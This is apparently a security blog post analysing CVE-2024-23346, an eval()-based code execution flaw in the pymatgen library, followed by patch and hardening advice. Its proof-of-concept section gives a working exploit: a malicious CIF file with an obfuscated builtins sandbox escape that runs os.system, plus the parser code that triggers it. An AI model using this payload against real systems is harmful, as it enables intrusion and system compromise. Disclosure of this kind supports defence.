![CVE-2024-23346: Arbitrary Code Execution in Pymatgen via Insecure Deserialization](https://images.ctfassets.net/64984aro4ssj/2EEnMSJAX96NgMYqgLHvBP/f9d9e5a4d82391534cec109ccd401ec5/cve-2024-23346.png)
Introduction
This blog post delves into CVE-2024-23346, a critical vulnerability residing within the pymatgen library, a popular Python package employed for materials science computations. The vulnerability exposes users to the risk of remote code execution (RCE) attacks.
Affected Software
Pymatgen versions prior to 2024.2.8 (inclusive)
Vulnerability Details
The crux of the issue lies within the JonesFaithfulTransformation.from_transformation_str() function. This function suffers from insecure deserialization due to its utilization of the eval() method when processing user-supplied input. This inherently perilous practice allows an attacker to embed malicious code within a crafted string, which subsequently gets executed during the deserialization process.
Vulnerability Code Details
The root cause of the vulnerability lies within the pymatgen/symmetry/settings.py file, specifically between lines 97 and 111.
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
This code snippet involves a flawed sequence:
Regular Expression Manipulation: A regular expression operation is performed on user-supplied input (string). This regex aims to insert asterisks (*) between specific characters within the string.
Insecure Deserialization: The concerning aspect is the subsequent use of the eval() function. The modified strings (basis_change) are fed into eval(), attempting to evaluate them as Python code.
Impact
An adversary successfully exploiting this vulnerability can gain arbitrary code execution privileges on the targeted system. This grants them the ability to manipulate files, steal sensitive data, install malware, or even completely compromise the system.
Exploitation Scenario
Crafting the Payload: The attacker meticulously constructs a string containing malicious code encapsulated within a seemingly legitimate transformation string.
Targeting the Application: This crafted string is then delivered to the vulnerable application, potentially through a user-controlled input field or a compromised data source.
Deserialization and Execution: The application unwittingly parses the string using the eval() function, deserializing the embedded code and executing it within the application's context.
Privilege Escalation: If the application operates with elevated privileges, the attacker-injected code inherits those privileges, amplifying the exploit's impact.
Proof of Concept
To build a PoC lab for this vulnerability CVE-2024-23346, we first need to install the vulnerable version of pymatgen that is <=2024.2.8. We can do it as follow:
python3 -m pip install pymatgen==2024.1.26
![](https://images.ctfassets.net/64984aro4ssj/2TO2OTPnV8juYBP6180jjy/4bffc448a3c0621f049f7954f39f449f/Screenshot_2024-05-26_17-16-15.png)
Now we will use the following exploit CIF file for our PoC:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in
().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" +
"classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch
pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
The key element for exploitation lies within the _space_group_magn.transform_BNS_Pp_abc field. Here's a detailed explanation:
List Comprehension: The value contains a list comprehension wrapped within a single quoted string. This construct attempts to exploit the vulnerable eval() function in pymatgen
Mangled Code: The list comprehension utilizes obfuscated techniques to bypass basic detection. It retrieves the BuiltinImporter class, which can be abused to load modules and execute arbitrary code.
Code Execution: If eval() is used to process this string, the list comprehension code executes. It retrieves the os module and calls the system function to create a file named "pwned". This signifies successful code execution.
Then, we will parse the above cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
We can exexute this python code on the terminal and we will see that the pwned
file is created which was our exploit payload in the cif file:![](https://images.ctfassets.net/64984aro4ssj/7oHdgfkMS1PXXHvjGvdrLE/458642c2c420b694bc5d9dc8d15922b0/Screenshot_2024-05-26_17-16-33.png)
Attacker can further escalate this exploit to gain reverse shell from a target system or they can even use this vulnerability to deploy malwares.
Remediation
Upgrading to pymatgen version 2024.2.20 (or later) is paramount to mitigating this vulnerability. This patched commit addresses the insecure usage of eval() by implementing a safer deserialization mechanism.
![](https://images.ctfassets.net/64984aro4ssj/1xhS3TzuAeO4GesNIFQQ3s/29d80e8d44702547ae8ebf5084996264/Screenshot_2024-05-26_17-53-22.png)
Recommendations
Maintain Software Updates: Enforce a rigorous software update policy to ensure all applications, particularly libraries like pymatgen, are updated promptly.
Input Validation: Implement robust input validation procedures to sanitize user-supplied data before processing it. This helps to thwart attempts to inject malicious code.
Least Privilege: Adhere to the principle of least privilege. Applications should operate with the minimum set of permissions required for their intended functionality. This mitigates the potential damage if an exploit is successful.
Conclusion
CVE-2024-23346 highlights the dangers associated with insecure deserialization practices. By meticulously following security best practices, such as code reviews, secure coding practices, and prompt software updates, developers can significantly reduce the attack surface and safeguard applications from similar vulnerabilities.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-23346 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.